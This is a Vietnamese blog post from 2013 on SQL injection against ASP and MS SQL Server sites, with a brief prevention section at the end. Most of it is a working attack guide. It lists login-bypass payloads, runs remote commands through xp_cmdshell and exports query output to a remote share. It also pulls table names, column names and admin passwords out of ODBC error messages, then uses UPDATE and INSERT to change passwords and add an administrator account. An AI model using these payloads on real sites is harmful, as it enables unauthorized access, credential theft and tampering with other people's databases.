salt: <QU0OQ*_?^o"#.W>,S@`qpEYvu25l)
------------------------------
+++Chống LOCAL: Chmod folder 501 và file config về 400 .
------------------------------
+++Check pr :http://www.thuvienseo.net/
14 thg 12, 2013
Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET
1. SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...2. Tìm kiếm mục tiêu
Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...Ví dụ:
http://yoursite.com/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
3. Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--- Login: hi' or 1=1--
- Password: hi' or 1=1--
- http://yoursite.com/index.asp?id=hi' or 1=1--
<FORM action=http://yoursite.com/Search/search.asp method=post>Nếu thành công, thì có thể login vào mà không cần phải biết username và password
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:http://yoursite.com/index.asp?category=foodTrong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
SELECT * FROM product WHERE PCategory='food'Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"
Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
5. Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:'; exec master..xp_cmdshell 'ping 10.10.1.2'--Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmpNếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.
6. Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"Chú ý: folder "share" phải được share cho Everyone trước.
7. Nhận dữ liệu qua 'database using ODBC error message'
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--Khi đó thông báo lỗi của SQL Server có thể là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
8. Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
9. Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.Có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
10. Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
11. Thay đổi dữ liệu (Update/Insert) của CSDL
Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.Để thay đổi password của "neo", có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--Hoặc nếu bạn muốn một record mới vào table:
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--Và bây giờ có thể login vào với username "neo2" và password là "newpas5"
12. Ngăn chặn SQL Injection
Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:- input do người dùng đệ trình
- các tham số từ URL
- các giá trị từ cookie
Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure trong database master mà không dùng như:
- xp_cmdshell
- xp_startmail
- xp_sendmail
- sp_makewebtask
13. Ngăn chặn SQL Injection trong ASP.NET
Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
Xem chi tiết »



